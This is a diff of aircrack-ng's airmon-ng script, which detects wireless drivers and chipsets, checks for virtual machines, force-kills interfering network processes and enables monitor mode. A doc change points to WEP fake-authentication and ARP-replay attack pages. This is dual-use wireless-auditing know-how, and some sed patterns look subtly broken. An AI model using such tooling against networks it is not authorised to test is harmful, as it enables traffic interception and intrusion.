+			elif [ "$DRIVER" = "rt5390sta" ]; then
+				FROM="V"
+			elif [ "${DRIVER}" = "8812au" ] || [ "${DRIVER}" = "8814au" ]; then
+				FROM="V"
+			fi
+		elif modinfo -F filename $DRIVER 2>&1 | grep -q 'updates/drivers'
+		then
+			FROM="C"
+		elif modinfo -F filename $DRIVER 2>&1 | grep -q misc
+		then
+			FROM="V"
+		elif modinfo -F filename $DRIVER 2>&1 | grep -q staging
+		then
+			FROM="S"
+		else
+			FROM="?"
+		fi
+	else
+		FROM="K"
+	fi
+  #maybe add an 'intree' check?
+	if [ "$DEBUG" = "1" ]; then
+		printf "getFrom() $FROM\n"
+	fi
+}
+
+getFirmware() {
+	FIRMWARE="$(printf "$ethtool_output" | awk '/firmware-version/ {print $2}')"
+	#ath9k_htc firmware is a shorter version number than most so trap and make it pretty
+	if [ "$DRIVER" = "ath9k_htc" ]; then
+		FIRMWARE="$FIRMWARE\t"
+	fi
+
+	if [ "$FIRMWARE" = "N/A" ]; then
+		FIRMWARE="$FIRMWARE\t"
+	elif [ -z "$FIRMWARE" ]; then
+		FIRMWARE="unavailable"
+	fi
+
+	if [ "$DEBUG" = "1" ]; then
+		printf "getFirmware $FIRMWARE\n"
+	fi
+}
+
+getChipset() {
+	#this needs cleanup, we shouldn't have multiple lines assigning chipset per bus
+	#fix this to be one line per bus
+	if [ -f /sys/class/net/$1/device/modalias ]; then
+		if [ "$BUS" = "usb" ]; then
+			if [ "${LSUSB}" = "1" ]; then
+				BUSINFO="$(cut -d ":" -f 2 /sys/class/net/$1/device/modalias | cut -b 1-10 | sed 's/^.//;s/p/:/')"
+				CHIPSET="$(lsusb -d "$BUSINFO" | head -n1 - | cut -f3- -d ":" | sed 's/^....//;s/ Network Connection//g;s/ Wireless Adapter//g;s/^ //')"
+			elif [ "${LSUSB}" = "0" ]; then
+				printf "Your system doesn't seem to support usb but we found usb hardware, please report this.\n"
+				exit 1
+			fi
+		#yes the below line looks insane, but broadcom appears to define all the internal buses so we have to detect them here
+		elif [ "${BUS}" = "pci" -o "${BUS}" = "pcmcia" ] && [ "${LSPCI}" = "1" ]; then
+			if [ -f /sys/class/net/$1/device/vendor ] && [ -f /sys/class/net/$1/device/device ]; then
+				DEVICEID="$(cat /sys/class/net/$1/device/vendor):$(cat /sys/class/net/$1/device/device)"
+				CHIPSET="$(lspci -d $DEVICEID | cut -f3- -d ":" | sed 's/Wireless LAN Controller //g;s/ Network Connection//g;s/ Wireless Adapter//;s/^ //')"
+			else
+				BUSINFO="$(printf "$ethtool_output" | grep bus-info | cut -d ":" -f "3-" | sed 's/^ //')"
+				CHIPSET="$(lspci | grep "$BUSINFO" | head -n1 - | cut -f3- -d ":" | sed 's/Wireless LAN Controller //g;s/ Network Connection//g;s/ Wireless Adapter//;s/^ //')"
+				DEVICEID="$(lspci -nn | grep "$BUSINFO" | grep '[[0-9][0-9][0-9][0-9]:[0-9][0-9][0-9][0-9]' -o)"
+			fi
+		elif [ "${BUS}" = "sdio" ]; then
+			if [ -f /sys/class/net/$1/device/vendor ] && [ -f /sys/class/net/$1/device/device ]; then
+				DEVICEID="$(cat /sys/class/net/$1/device/vendor):$(cat /sys/class/net/$1/device/device)"
+			fi
+			if [ "${DEVICEID}" = '0x02d0:0x4330' ]; then
+				CHIPSET='Broadcom 4330'
+			elif [ "${DEVICEID}" = '0x02d0:0x4329' ]; then
+				CHIPSET='Broadcom 4329'
+			elif [ "${DEVICEID}" = '0x02d0:0x4334' ]; then
+				CHIPSET='Broadcom 4334'
+			elif [ "${DEVICEID}" = '0x02d0:0xa94c' ]; then
+				CHIPSET='Broadcom 43340'
+			elif [ "${DEVICEID}" = '0x02d0:0xa94d' ]; then
+				CHIPSET='Broadcom 43341'
+			elif [ "${DEVICEID}" = '0x02d0:0x4324' ]; then
+				CHIPSET='Broadcom 43241'
+			elif [ "${DEVICEID}" = '0x02d0:0x4335' ]; then
+				CHIPSET='Broadcom 4335/4339'
+			elif [ "${DEVICEID}" = '0x02d0:0xa962' ]; then
+				CHIPSET='Broadcom 43362'
+			elif [ "${DEVICEID}" = '0x02d0:0xa9a6' ]; then
+				CHIPSET='Broadcom 43430'
+			elif [ "${DEVICEID}" = '0x02d0:0x4345' ]; then
+				CHIPSET='Broadcom 43455'
+			elif [ "${DEVICEID}" = '0x02d0:0x4354' ]; then
+				CHIPSET='Broadcom 4354'
+			elif [ "${DEVICEID}" = '0x02d0:0xa887' ]; then
+				CHIPSET='Broadcom 43143'
+			else
+				CHIPSET="unable to detect for sdio $DEVICEID"
+			fi
+		else
+			CHIPSET="Not pci, usb, or sdio"
+		fi
+	#we don't do a check for usb here but it is obviously only going to work for usb
+	elif [ -f /sys/class/net/$1/device/idVendor ] && [ -f /sys/class/net/$1/device/idProduct ]; then
+		DEVICEID="$(cat /sys/class/net/$1/device/idVendor):$(cat /sys/class/net/$1/device/idProduct)"
+		if [ "${LSUSB}" = "1" ]; then
+			CHIPSET="$(lsusb | grep -i "$DEVICEID" | head -n1 - | cut -f3- -d ":" | sed 's/^....//;s/ Network Connection//g;s/ Wireless Adapter//g;s/^ //')"
+		elif [ "${LSUSB}" = "0" ]; then
+			CHIPSET="idVendor and idProduct found on non-usb device, please report this."
+		fi
+	elif [ "${DRIVER}" = "mac80211_hwsim" ]; then
+		CHIPSET="Software simulator of 802.11 radio(s) for mac80211"
+	elif $(printf "$ethtool_output" | awk '/bus-info/ {print $2}' | grep -q bcma)
+	then
+		BUS="bcma"
+
+		if [ "${DRIVER}" = "brcmsmac" ] || [ "${DRIVER}" = "brcmfmac" ] || [ "${DRIVER}" = "b43" ]; then
+			CHIPSET="Broadcom on bcma bus, information limited"
+		else
+			CHIPSET="Unrecognized driver \"${DRIVER}\" on bcma bus"
+		fi
+	else
+		CHIPSET="non-mac80211 device? (report this!)"
+	fi
+
+	if [ "$DEBUG" = "1" ]; then
+		printf "getchipset() $CHIPSET\n"
+		printf "BUS = $BUS\n"
+		printf "BUSINFO = $BUSINFO\n"
+		printf "DEVICEID = $DEVICEID\n"
+	fi
+}
+
+getBus() {
+	if [ -f /sys/class/net/$1/device/modalias ]; then
+		BUS="$(cut -d ":" -f 1 /sys/class/net/$1/device/modalias)"
+	fi
+	if [ "$DEBUG" = "1" ]; then
+		printf "getBus $BUS\n"
+	fi
+}
+
+getStack() {
+	if [ -z "$1" ]; then
+		return
+	fi
+
+	if [ -d /sys/class/net/$1/phy80211/ ]; then
+		MAC80211="1"
+		STACK="mac80211"
+	else
+		MAC80211="0"
+		STACK="ieee80211"
+	fi
+
+	if [ -e /proc/sys/dev/$1/fftxqmin ]; then
+		MAC80211="0"
+		STACK="net80211"
+	fi
+
+	if [ "$DEBUG" = "1" ]; then
+		printf "getStack $STACK\n"
+	fi
+}
+
+getExtendedInfo() {
+	#stuff rfkill info into extended if nothing else is there
+	rfkill_check ${PHYDEV}
+	rfkill_retcode="$?"
+	if [ "${rfkill_retcode}" = "1" ]; then
+		EXTENDED="rfkill soft blocked"
+	elif [ "${rfkill_retcode}" = "2" ]; then
+		EXTENDED="rfkill hard blocked"
+	elif [ "${rfkill_redcode}" = "3" ]; then
+		EXTENDED="rfkill hard and soft blocked"
+	fi
+
+	if [ "$DRIVER" = "??????" ]; then
+		EXTENDED="\t Failure detecting driver properly please report"
+	fi
+
+	#first we set all the real (useful) info we can find
+	if [ -f /sys/class/net/$1/device/product ]; then
+		EXTENDED="\t$(cat /sys/class/net/$1/device/product)"
+	fi
+
+	#then we sweep for known broken drivers with no available better drivers
+	if [ "$DRIVER" = "wl" ]; then
+		if [ -f "/proc/brcm_monitor0" ]; then
+			EXTENDED="Experimental monitor mode support"
+		else
+			EXTENDED="No known monitor support, try a newer version or b43"
+		fi
+	fi
+	if [ "$DRIVER" = "brcmsmac" ]; then
+		EXTENDED="Driver commonly referred to as brcm80211 (no injection yet)"
+	fi
+	if [ "$DRIVER" = "r8712u" ]; then
+		EXTENDED="\t\t\t\tNo monitor or injection support"
+	fi
+
+	#lastly we detect all the broken drivers which have working alternatives
+	KV="$(uname -r | awk -F'-' '{print $1}')"
+	KVMAJOR="$(printf ${KV} | awk -F'.' '{print $1$2}')"
+	KVMINOR="$(printf ${KV} | awk -F'.' '{print $3}')"
+
+	if [ $KVMAJOR -lt 26 ]; then
+		printf "You are running a kernel older than 2.6, I'm surprised it didn't error before now."
+	        if [ "$DEBUG" = "1" ]; then
+			printf "${KVMAJOR} ${KVMINOR}\n"
+		fi
+		exit 1
+	fi
+
+	if [ "$DRIVER" = "rt2870sta" ];	then
+		if [ "$KVMAJOR" = "26" ] && [ "$KVMINOR" -ge "35" ]; then
+			EXTENDED="\tBlacklist rt2870sta and use rt2800usb"
+		else
+			EXTENDED="\tUpgrade to kernel 2.6.35 or install compat-wireless stable"
+		fi
+		#add in a flag for "did you tell use to do X" and emit instructions
+	elif [ "$DRIVER" = "rt3070sta" ]; then
+		if [ "$KVMAJOR" = "26" ] && [ "$KVMINOR" -ge "35" ]; then
+			EXTENDED="\tBlacklist rt3070sta and use rt2800usb"
+		else
+			EXTENDED="\tUpgrade to kernel 2.6.35 or install compat-wireless stable"
+		fi
+	elif [ "$DRIVER" = "rt5390sta" ]; then
+		if [ "$KVMAJOR" = "26" ] && [ "$KVMINOR" -ge "39" ]; then
+			EXTENDED="\tBlacklist rt5390sta and use rt2800usb"
+		else
+			EXTENDED="\tUpgrade to kernel 2.6.39 or install compat-wireless stable"
+		fi
+	elif [ "$DRIVER" = "ar9170usb" ]; then
+		if [ "$KVMAJOR" = "26" ] && [ "$KVMINOR" -ge "37" ]; then
+			EXTENDED="\tBlacklist ar9170usb and use carl9170"
+		else
+			EXTENDED="\tUpgrade to kernel 2.6.37 or install compat-wireless stable"
+		fi
+	elif [ "$DRIVER" = "arusb_lnx" ]; then
+		if [ "$KVMAJOR" = "26" ] && [ "$KVMINOR" -ge "37" ]; then
+			EXTENDED="\tBlacklist arusb_lnx and use carl9170"
+		else
+			EXTENDED="\tUpgrade to kernel 2.6.37 or install compat-wireless stable"
+		fi
+	elif [ "$DRIVER" = "r8187" ]; then
+		if [ "$KVMAJOR" = "26" ] && [ "$KVMINOR" -ge "29" ]; then
+			EXTENDED="\t\tBlacklist r8187 and use rtl8187 from the kernel"
+		else
+			EXTENDED="\t\tUpgrade to kernel 2.6.29 or install compat-wireless stable"
+		fi
+	elif [ "$DRIVER" = "r8187l" ]; then
+		if [ "$KVMAJOR" = "26" ] && [ "$KVMINOR" -ge "29" ]; then
+			EXTENDED="\t\tBlacklist r8187l and use rtl8187 from the kernel"
+		else
+			EXTENDED="\t\tUpgrade to kernel 2.6.29 or install compat-wireless stable"
+		fi
+	fi
+	#okay, now I take overload to a new level
+	#if there is nothing else here to complain about, show mode
+	if [ -z "${EXTENDED}" ]; then
+		if [ -r "/sys/class/net/${1}/type" ]; then
+			NET_TYPE="$(cat /sys/class/net/${1}/type)"
+		elif [ -r "/sys/class/ieee80211/${PHYDEV}/device/net/${1}/type" ]; then
+			NET_TYPE="$(cat /sys/class/ieee80211/${PHYDEV}/device/net/${1}/type)"
+		fi
+		if [ -n "${NET_TYPE}" ]; then
+			if [ "${NET_TYPE}" = "803" ]; then
+				EXTENDED="mode monitor"
+			elif [ "${NET_TYPE}" = "1" ]; then
+				EXTENDED="mode managed"
+			else
+				EXTENDED="mode ${NET_TYPE} unknown"
+			fi
+		fi
+	fi
+}
+
+scanProcesses() {
+	#this test means it errored and said it was busybox since busybox doesn't print without error
+	if (ps -A 2>&1 | grep -q BusyBox)
+	then
+		#busybox in openwrt cannot handle -A but its output by default is -A
+		psopts=""
+	else
+		psopts="-A"
+	fi
+	if ( ps -o comm= 2>&1 | grep -q BusyBox )
+	then
+		#busybox in openwrt cannot handle -o
+		pso="0"
+	else
+		pso="1"
+	fi
+
+	PROCESSES="wpa_action\|wpa_supplicant\|wpa_cli\|dhclient\|ifplugd\|dhcdbd\|dhcpcd\|udhcpc\|NetworkManager\|knetworkmanager\|avahi-autoipd\|avahi-daemon\|wlassistant\|wifibox"
+	#PS_ERROR="invalid\|illegal"
+
+	if [ -x "$(command -v service 2>&1)" ] && [ "$1" = "kill" ]; then
+		service network-manager stop 2> /dev/null > /dev/null
+		service NetworkManager stop 2> /dev/null > /dev/null
+		service avahi-daemon stop 2> /dev/null > /dev/null
+	fi
+
+	unset match
+	if [ "${pso}" = 1 ]; then
+		match="$(ps ${psopts} -o comm= | grep ${PROCESSES} | grep -v grep | wc -l)"
+	elif [ "${pso}" = 0 ]; then
+		#openwrt busybox grep hits on itself so we -v it out
+		match="$(ps ${psopts} | grep ${PROCESSES} | grep -v grep | wc -l)"
+	fi
+	if [ ${match} -gt 0 ] && [ "${1}" != "kill" ]; then
+		printf "Found $match processes that could cause trouble.\n"
+		printf "Kill them using 'airmon-ng check kill' before putting\n"
+		printf "the card in monitor mode, they will interfere by changing channels\n"
+		printf "and sometimes putting the interface back in managed mode\n\n"
+	else
+		if [ "${1}" != "kill" ] && [ -n "${1}" ]; then
+			printf "No interfering processes found\n"
+			return
+		fi
+	fi
+
+	if [ ${match} -gt 0 ]; then
+		if [ "${1}" = "kill" ]; then
+			printf "Killing these processes:\n\n"
+		fi
+		if [ "${pso}" = "1" ]; then
+			ps ${psopts} -o pid=PID -o comm=Name | grep "${PROCESSES}\|PID"
+		else
+			#openwrt busybox grep hits on itself so we -v it out
+			ps ${psopts} | grep "${PROCESSES}\|PID | grep -v grep"
+		fi
+		if [ "${1}" = "kill" ]; then
+			#we have to use signal 9 because things like nm actually respawn wpa_supplicant too quickly
+			if [ "${pso}" = "1" ]; then
+				for pid in $(ps ${psopts} -o pid= -o comm= | grep ${PROCESSES} | awk '{print $1}'); do
+					kill -9 ${pid}
+				done
+			else
+				#openwrt busybox grep hits on itself so we -v it out
+				for pid in $(ps ${psopts} | grep ${PROCESSES} | grep -v grep | awk '{print $1}'); do
+					kill -9 ${pid}
+				done
+			fi
+		fi
+	fi
+
+	#i=1
+	#while [ $i -le $match ]
+	#do
+	#	pid=$(ps ${psopts} -o pid= -o comm= | grep $PROCESSES | head -n $i | tail -n 1 | awk '{print $1}')
+	#	pname=$(ps ${psopts} -o pid= -o comm= | grep $PROCESSES | head -n $i | tail -n 1 | awk '{print $2}')
+	#	if [ x"$1" != "xkill" ]
+	#	then
+	#		printf "${pid}\t${pname}\n"
+	#	else
+	#		kill ${pid}
+	#	fi
+	#	i=$(($i+1))
+	#done
+
+	printf "\n"
+
+	#this stub is for checking against the interface name, but since it almost never hits why bother?
+	#if [ x"${1}" != "x" -a x"${1}" != "xkill" ]
+	#then
+	#	#the next line doesn't work on busybox ps because -p is unimplimented
+	#	match2=$(ps -o comm= -p 1 2>&1 | grep $PS_ERROR -c)
+	#	if [ ${match2} -gt 0 ]
+	#	then
+	#		return
+	#	fi
+	#
+	#	for i in $(ps auxw | grep ${1} | grep -v "grep" | grep -v "airmon-ng" | awk '{print $2}')
+	#	do
+	#		pname=$(ps -o comm= -p ${i})
+	#		printf "Process with PID ${i} ($pname) is running on interface ${1}\n"
+	#	done
+	#fi
+}
+
+listInterfaces() {
+	unset iface_list
+	for iface in $(ls -1 /sys/class/net)
+	do
+		if [ -f /sys/class/net/${iface}/uevent ]; then
+			if $(grep -q DEVTYPE=wlan /sys/class/net/${iface}/uevent)
+			then
+				iface_list="${iface_list}\n ${iface}"
+			fi
+		fi
+	done
+	if [ -x "$(command -v iwconfig 2>&1)" ] && [ -x "$(command -v sort 2>&1)" ]; then
+		for iface in $(iwconfig 2> /dev/null | sed 's/^$[a-zA-Z0-9_.]*$ .*/\1/'); do
+			iface_list="${iface_list}\n ${iface}"
+		done
+		iface_list="$(printf "${iface_list}" | sort -bu)"
+	fi
+}
+
+getPhy() {
+	if [ -z "$1" ];	then
+		return
+	fi
+
+	if [ $MAC80211 = "0" ]; then
+		PHYDEV="null"
+		return
+	fi
+
+	if [ -r /sys/class/net/$1/phy80211/name ]; then
+		PHYDEV="$(cat /sys/class/net/$1/phy80211/name)"
+	fi
+	if [ -d /sys/class/net/$1/phy80211/ ] && [ -z "${PHYDEV}" ]; then
+
+		PHYDEV="$(ls -l "/sys/class/net/$1/phy80211" | sed 's/^.*\/$[a-zA-Z0-9_-]*$$/\1/')"
+	fi
+}
+
+checkvm() {
+	#this entire section of code is completely stolen from Carlos Perez's work in checkvm.rb for metasploit and rewritten (poorly) in sh
+	#check loaded modules
+	if [ -x "$(command -v lsmod 2>&1)" ]; then
+		lsmod_data="$(lsmod 2>&1 | awk '{print $1}')"
+		if [ -n "${lsmod}" ]; then
+			printf "${lsmod_data}" | grep -iqE "vboxsf|vboxguest" 2> /dev/null && vm="VirtualBox"
+			printf "${lsmod_data}" | grep -iqE "vmw_ballon|vmxnet|vmw" 2> /dev/null && vm="VMware"
+			printf "${lsmod_data}" | grep -iqE "xen-vbd|xen-vnif" 2> /dev/null && vm="Xen"
+			printf "${lsmod_data}" | grep -iqE "virtio_pci|virtio_net" 2> /dev/null && vm="Qemu/KVM"
+			printf "${lsmod_data}" | grep -iqE "hv_vmbus|hv_blkvsc|hv_netvsc|hv_utils|hv_storvsc" && vm="MS Hyper-V"
+			[ -n "${vm}" ] && vm_from="lsmod"
+		fi
+	fi
+
+	#check scsi driver
+	if [ -z "${vm_from}" ]; then
+		if [ -r /proc/scsi/scsi ]; then
+			grep -iq "vmware" /proc/scsi/scsi 2> /dev/null && vm="VMware"
+			grep -iq "vbox" /proc/scsi/scsi 2> /dev/null && vm="VirtualBox"
+			[ -n "${vm}" ] && vm_from="/pro/scsi/scsi"
+		fi
+	fi
+
+	# Check IDE Devices
+	if [ -z "${vm_from}" ];	then
+		if [ -d /proc/ide ]; then
+			ide_model="$(cat /proc/ide/hd*/model)"
+			printf "${ide_model}" | grep -iq "vbox" 2> /dev/null && vm="VirtualBox"
+			printf "${ide_model}" | grep -iq "vmware" 2> /dev/null && vm="VMware"
+			printf "${ide_model}" | grep -iq "qemu" 2> /dev/null && vm="Qemu/KVM"
+			printf "${ide_model}" | grep -iqE "virtual (hd|cd)" 2> /dev/null && vm="Hyper-V/Virtual PC"
+			[ -n "${vm}" ] && vm_from="ide_model"
+		fi
+	fi
+
+	# Check using lspci
+	if [ -z "${vm_from}" ] && [ "${LSPCI}" = "1" ]; then
+			lspci_data="$(lspci 2>&1)"
+			printf "${lspci_data}" | grep -iq "vmware" 2> /dev/null && vm="VMware"
+			printf "${lspci_data}" | grep -iq "virtualbox" 2> /dev/null && vm="VirtualBox"
+			[ -n "${vm}" ] && vm_from="lspci"
+	fi
+
+	# Xen bus check
+	## XXX: Removing unsafe check
+	# this check triggers if CONFIG_XEN_PRIVILEGED_GUEST=y et al are set in kconfig (debian default) even in not actually a guest
+	#if [ -z ${vm} ]
+	#then
+	#	ls -1 /sys/bus | grep -iq "xen" 2> /dev/null && vm="Xen"
+	#	vm_from="/sys/bus/xen"
+	#fi
+
+	# Check using lscpu
+	if [ -z "${vm_from}" ]; then
+		if [ -x "$(command -v lscpu 2>&1)" ]; then
+                        lscpu_data="$(lscpu 2>&1)"
+			printf "${lscpu_data}" | grep -iq "Xen" 2> /dev/null && vm="Xen"
+			printf "${lscpu_data}" | grep -iq "KVM" 2> /dev/null && vm="KVM"
+			printf "${lscpu_data}" | grep -iq "Microsoft" 2> /dev/null && vm="MS Hyper-V"
+			[ -n "${vm}" ] && vm_from="lscpu"
+		fi
+	fi
+
+	#Check vmnet
+	if [ -z "${vm_from}" ]; then
+		if [ -e /dev/vmnet ]; then
+			vm="VMware"
+			vm_from="/dev/vmnet"
+		fi
+	fi
+
+	#Check dmi info
+	if [ -z "${vm_from}" ]; then
+		if [ -x "$(command -v dmidecode 2>&1)" ]; then
+			dmidecode 2>&1 | grep -iq "microsoft corporation" 2> /dev/null && vm="MS Hyper-V"
+			dmidecode 2>&1 | grep -iq "vmware" 2> /dev/null && vm="VMware"
+			dmidecode 2>&1 | grep -iq "virtualbox" 2> /dev/null && vm="VirtualBox"
+			dmidecode 2>&1 | grep -iq "qemu" 2> /dev/null && vm="Qemu/KVM"
+			dmidecode 2>&1 | grep -iq "domu" 2> /dev/null && vm="Xen"
+			[ -n "${vm}" ] && vm_from="dmi_info"
+		fi
+	fi
+
+	# Check dmesg Output
+	if [ -z "${vm_from}" ]; then
+		if [ -x "$(command -v dmesg 2>&1)" ]; then
+			dmesg | grep -iqE "vboxbios|vboxcput|vboxfacp|vboxxsdt|(vbox cd-rom)|(vbox harddisk)" && vm="VirtualBox"
+			dmesg | grep -iqE "(vmware virtual ide)|(vmware pvscsi)|(vmware virtual platform)" && vm="VMware"
+			dmesg | grep -iqE "(xen_mem)|(xen-vbd)" && vm="Xen"
+			dmesg | grep -iqE "(qemu virtual cpu version)" && vm="Qemu/KVM"
+			[ -n "${vm}" ] && vm_from="dmesg"
+		fi
+	fi
+	checkvm_status="run"
+}
+
+#end function definitions
+#begin execution
+
+#here we check for any phys that have no interfaces to pick up The Lost Phys
+handleLostPhys
+
+listInterfaces
+
+if [ "${1}" = "check" ] || [ "${1}" = "start" ]; then
+	if [ "${2}" = "kill" ]; then
+		#if we are killing, tell scanProcesses that
+		scanProcesses "${2}"
+		exit
+	elif [ "${1}" = "start" ]; then
+		#this stub can send scanProcesses the interface name
+		#but this seems entirely unreliable so just run generic
+		#scanProcesses "${2}"
+		scanProcesses
+	else
+		scanProcesses
+		exit
+	fi
+fi
+
+if [ "$#" != "0" ]; then
+	if [ "$1" != "start" ] && [ "$1" != "stop" ]; then
+		usage
+	fi
+
+	if [ -z "$2" ]; then
+		usage
+	fi
+fi
+
+#startup checks complete, headers then main
+
+if [ "$DEBUG" = "1" ]; then
+	if [ -x "$(command -v readlink 2>&1)" ]; then
+		printf "/bin/sh -> $(readlink -f /bin/sh)\n"
+		if $(readlink -f /bin/sh) --version > /dev/null 2>&1
+		then
+			printf "$($(readlink -f /bin/sh) --version)\n"
+		fi
+	else
+		ls -l /bin/sh
+		if /bin/sh --version > /dev/null 2>&1
+		then
+			/bin/sh --version
+		fi
+	fi
+	if [ -n "$SHELL" ]; then
+		if $SHELL --version > /dev/null 2>&1
+		then
+			printf "\nSHELL is $($SHELL --version)\n\n"
+		else
+			printf "\nSHELL is $SHELL\n\n"
+		fi
+	fi
+fi
+if [ "$VERBOSE" = "1" ]; then
+	if [ -n "$(command -v lsb_release 2> /dev/null)" ]; then
+		lsb_release -a
+		printf "\n"
+	fi
+	uname -a
+
+	checkvm
+	if [ -n "${vm}" ]; then
+		printf "Detected VM using ${vm_from}\n"
+		printf "This appears to be a ${vm} Virtual Machine\n"
+		printf "If your system supports VT-d, it may be possible to use PCI devices\n"
+		printf "If your system does not support VT-d, you can only use USB wifi cards\n"
+	fi
+
+	printf "\nK indicates driver is from $(uname -r)\n"
+	if [ "${MODPROBE}" = "1" ]; then
+		modprobe compat > /dev/null 2>&1
+
+		if [ -r /sys/module/compat/parameters/compat_version ]; then
+			printf "C indicates driver is from $(cat /sys/module/compat/parameters/compat_version)\n"
+		fi
+	fi
+	printf "V indicates driver comes directly from the vendor, almost certainly a bad thing\n"
+	printf "S indicates driver comes from the staging tree, these drivers are meant for reference not actual use, BEWARE\n"
+	printf "? indicates we do not know where the driver comes from... report this\n\n"
+fi
+
+if [ "${VERBOSE}" = "1" ]; then
+	printf "\nX[PHY]Interface\t\tDriver[Stack]-FirmwareRev\t\tChipset\t\t\t\t\t\t\t\t\t\tExtended Info\n\n"
+else
+	printf "PHY\tInterface\tDriver\t\tChipset\n\n"
+fi
+
+#this whole block of code shouldn't be here, it makes no sense
+#per shellcheck, this block is broken as it runs the loops once with iface=listIfaceUnspec instead of the output of listIFaceUnspec
+#for iface in listIfaceUnspec; do
+#
+#	if [ -e "/proc/sys/dev/$iface/fftxqmin" ]
+#	then
+#		setLink ${iface} up
+#		printf "$iface\t\tAtheros\t\tmadwifi-ng"
+#		if [ x$1 = "xstart" ] && [ x$2 = x$iface ]
+#		then
+#			IFACE=$(wlanconfig ath create wlandev $iface wlanmode monitor -bssid | grep ath)
+#			setLink ${iface} up
+#			if [ $CH -lt 1000 ]
+#			then
+#				iwconfig $IFACE channel $CH 2> /dev/null > /dev/null
+#			else
+#				iwconfig $IFACE freq "$CH"000000 2> /dev/null > /dev/null
+#			fi
+#		setLink ${IFACE} up
+#		UDEV_ISSUE=$?
+#		fi
+#
+#		if [ x$1 = "xstop" ] && [ x$2 = x$iface ]
+#		then
+#			printf "$iface does not support 'stop', do it on ath interface\n"
+#		fi
+#
+#		#why, dear god why is there a random newline here?
+#		printf "\n"
+#		sleep 1
+#		continue
+#	fi
+#done
+#end random block of code that needs to die
+
+for iface in $(printf "${iface_list}"); do
+	unset ethtool_output DRIVER FROM FIRMWARE STACK MADWIFI MAC80211 BUS BUSADDR BUSINFO DEVICEID CHIPSET EXTENDED NET_TYPE PHYDEV ifacet DRIVERt FIELD1 FIELD1t FIELD2 FIELD2t CHIPSETt
+	#add a RUNNING check here and up the device if it isn't already
+	ethtool_output="$(ethtool -i $iface 2>&1)"
+	if [ "$ethtool_output" != "Cannot get driver information: Operation not supported" ]; then
+		getStack  ${iface}
+		getBus ${iface}
+		getPhy     ${iface}
+		getDriver   ${iface}
+		getChipset ${iface}
+		if [ "${VERBOSE}" = "1" ]; then
+			getFrom ${iface}
+			getFirmware ${iface}
+			getExtendedInfo ${iface}
+		fi
+	else
+ 		printf "\nethtool failed...\n"
+		printf "Only mac80211 devices on kernel 2.6.33 or higher are officially supported by airmon-ng.\n"
+		exit 1
+	fi
+
+	#yes this really is the main output loop
+	if [ "${VERBOSE}" = "1" ]; then
+		#beautify output spacing (within reason)
+		FIELD1="${FROM}[${PHYDEV}]${iface}"
+		if [ ${#FIELD1} -gt 15 ]; then
+			FIELD1t="\t"
+		else
+			FIELD1t="\t\t"
+		fi
+		FIELD2="${DRIVER}[${STACK}]-${FIRMWARE}"
+		if [ ${#FIELD2} -gt 28 ]; then
+			FIELD2t="\t"
+		else
+			FIELD2t="\t\t"
+		fi
+		if [ -n "${EXTENDED}" ]; then
+			if [ ${#CHIPSET} -gt 70 ]; then
+				CHIPSETt="\t"
+			elif [ ${#CHIPSET} -gt 63 ]; then
+				CHIPSETt="\t\t"
+			elif [ ${#CHIPSET} -gt 56 ]; then
+				CHIPSETt="\t\t\t"
+			elif [ ${#CHIPSET} -gt 49 ]; then
+				CHIPSETt="\t\t\t\t"
+			elif [ ${#CHIPSET} -gt 39 ]; then
+				CHIPSETt="\t\t\t\t\t"
+			elif [ ${#CHIPSET} -gt 35 ]; then
+				CHIPSETt="\t\t\t\t\t\t"
+			# XXX YUP, 28 and 21 are now that same. mostly because this is all hardcoded and sucks
+			elif [ ${#CHIPSET} -gt 28 ]; then
+				CHIPSETt="\t\t\t\t\t\t\t"
+			elif [ ${#CHIPSET} -gt 21 ]; then
+				CHIPSETt="\t\t\t\t\t\t\t"
+			elif [ ${#CHIPSET} -gt 14 ]; then
+				CHIPSETt="\t\t\t\t\t\t\t\t"
+			elif [ ${#CHIPSET} -gt 7 ]; then
+				CHIPSETt="\t\t\t\t\t\t\t\t\t"
+			else
+				CHIPSETt="\t\t\t\t\t\t\t\t\t\t"
+			fi
+		fi
+		printf "${FROM}[${PHYDEV}]${iface}${FIELD1t}${DRIVER}[${STACK}]-${FIRMWARE}${FIELD2t}${CHIPSET}${CHIPSETt}${EXTENDED}\n"
+	else
+		#beautify output spacing (within reason, interface/driver max length is 15 and phy max length is 7))
+		if [ ${#DRIVER} -gt 7 ]; then
+			DRIVERt="\t"
+		else
+			DRIVERt="\t\t"
+		fi
+		if [ ${#iface} -gt 7 ]; then
+			ifacet="\t"
+		else
+			ifacet="\t\t"
+		fi
+		printf "${PHYDEV}\t${iface}${ifacet}${DRIVER}${DRIVERt}${CHIPSET}\n"
+	fi
+
+	if [ "$DRIVER" = "wl" ]; then
+		if [ "$1" = "start" ] && [ "$2" = "$iface" ]; then
+			startwlIface $iface
+		fi
+		if [ "$1" = "stop" ] && [ "$2" = "$iface" ]; then
+			stopwlIface $iface
+		fi
+	elif [ "$MAC80211" = "1" ]; then
+		if [ "$1" = "start" ] && [ "$2" = "$iface" ]; then
+			startMac80211Iface $iface
+		fi
+
+		if [ "$1" = "stop" ] && [ "$2" = "$iface" ]; then
+			stopMac80211Iface $iface
+		fi
+	fi
+done
+
+#end with some space
+printf "\n"

aircrack-ng-1.2-rc4.tar.gz/scripts/airodump-ng-oui-update -> aircrack-ng-1.4.tar.gz/scripts/airodump-ng-oui-update Changed

aircrack-ng-1.2-rc4.tar.gz/scripts/airoscript-ng/Makefile -> aircrack-ng-1.4.tar.gz/scripts/airoscript-ng/Makefile Changed

aircrack-ng-1.2-rc4.tar.gz/scripts/airoscript-ng/doc/rst/Toc.rst.html -> aircrack-ng-1.4.tar.gz/scripts/airoscript-ng/doc/rst/Toc.rst.html Changed

aircrack-ng-1.2-rc4.tar.gz/scripts/airoscript-ng/doc/rst/attack-wep.rst -> aircrack-ng-1.4.tar.gz/scripts/airoscript-ng/doc/rst/attack-wep.rst Changed

@@ -43,14 +43,14 @@
 
 In interactive mode, you'll be asked for the "f" (from-to destination bit), making you able to make it into a t, and the destmac (wich, by default, is FF:FF:FF:FF:FF:FF)
 
-Have a look at _Fake auth at aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=fake_authentication 
-and _ARP replay at: http://www.aircrack-ng.org/doku.php?id=arp-request_reinjection
+Have a look at _Fake auth at aircrack-ng wiki: https://www.aircrack-ng.org/doku.php?id=fake_authentication 
+and _ARP replay at: https://www.aircrack-ng.org/doku.php?id=arp-request_reinjection
 
 Fake auth (Interactive)
 +++++++++++++++++++++++
